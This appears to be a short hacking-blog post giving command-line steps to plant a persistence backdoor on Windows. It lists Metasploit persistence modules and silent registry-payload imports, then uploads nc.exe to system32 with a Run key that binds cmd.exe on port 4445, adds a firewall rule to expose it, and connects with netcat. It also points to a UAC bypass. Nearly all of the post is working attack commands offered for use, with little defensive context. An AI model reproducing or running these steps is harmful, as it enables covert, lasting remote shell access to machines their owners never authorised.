INSTALLING PRESISTENCE BACKDOOR IN WINDOWS

USING METASPLOIT 

windows/local/s4u_persistence 
windows/local/vss_persistence 
windows/local/registry_persistence 

 windows/manage

 MENUALLY INSTALLING REGISTRY PERSISTENCE

meterpreter>
upload paylod.reg
shell>
regedit /s payload.reg
del payload.reg



USING NETCAT 

meterpreter>

upload /usr/share/windows-binaries/nc.exe C:\\Windows\\system32

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d ‘C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe’

C:\WINDOWS\system32>

 netsh advfirewall firewall add rule name=’netcat’ dir=in action=allow protocol=Tcp localport=4445

netsh firewall show portopening

nc -nv 192.168.0.101 4445


uac-bypass-task-scheduler

No comments:

Post a Comment

Subscribe to: Post Comments (Atom)

Popular Posts

  • IDS, IPS AND FIREWALL EVASION USING NMAP
    NIDS – Network Intrusion Detection System   • It Uses a network tap, span port, or hub to collect packets on the network  • Attempts t...
  • PRIVILEGE ESCALATION
    WINDOWS 8.1 PRIVILEGE ESCALATION BY BYPASSING UAC PHYSICALLY This tool works as you can see in the picture in win 8.1, but it's li...
  • ALL ABOUT DNS
    Domain Name Servers (DNS) are the Internet's equivalent of a phone book. They maintain a directory of domain names and translate them ...
  • FOOTPRINTING
    Footprinting  (Also Known As Reconnaissance) Is The Technique Used For Gathering Information About Computer Systems And The Entit...
  • NMAP CHEAT SHEET
    Target Specification 192. 168. 100. 1-50  IP Range 192. 168. 100. 1/24  CIDR Spec. -iL Filename         IP Addr File  -iR...
  • HARDWARE SECURITY
    Hardware security is vulnerability protection that comes in the form of a physical device rather than software that is installed on the ...
  • INSTALLING PRESISTENCE BACKDOOR IN WINDOWS
    USING METASPLOIT  windows/local/s4u_persistence  windows/local/vss_persistence  windows/local/registry_persistence  windows/manage...